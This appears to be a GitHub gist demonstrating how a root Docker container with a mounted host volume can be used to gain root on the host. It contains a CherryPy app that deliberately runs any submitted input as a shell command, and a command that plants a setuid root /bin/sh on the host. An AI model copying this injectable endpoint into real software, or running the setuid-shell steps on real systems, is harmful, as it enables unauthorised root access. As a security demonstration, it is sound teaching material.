Created
April 7, 2015 00:11
-
-
Save gtirloni/72c6d8fc061e8dd598b5 to your computer and use it in GitHub Desktop.
Using container volumes to root the host
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Unknowingly initiate buggy app: "docker run -p 8080:8080 -v /srv/stuff:/data -i -t hackme" | |
Connect to http://localhost:8080 and submit command: "cp /bin/sh /data && chown root.root /data/sh && chmod a+s /data/sh" | |
Verify a setuid /bin/sh binary was created on /srv/stuff |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM centos:7 | |
EXPOSE 8080 | |
RUN yum -y install epel-release | |
RUN yum -y install python-cherrypy | |
COPY hackme.py /tmp/ | |
CMD ["/usr/bin/python", "/tmp/hackme.py"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cherrypy | |
import subprocess | |
class HackMe: | |
@cherrypy.expose | |
def index(self): | |
return """ | |
<html><body> | |
<form method='get' action='/post'> | |
<input name="cmd"/> | |
<input type='submit' value='Submit' /> | |
</form></body> | |
</html> | |
""" | |
@cherrypy.expose | |
def post(self, cmd): | |
subprocess.call(cmd, shell=True) | |
if __name__ == "__main__": | |
cherrypy.config.update( {'server.socket_host':"0.0.0.0", 'server.socket_port':8080 } ) | |
cherrypy.quickstart( HackMe() ) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment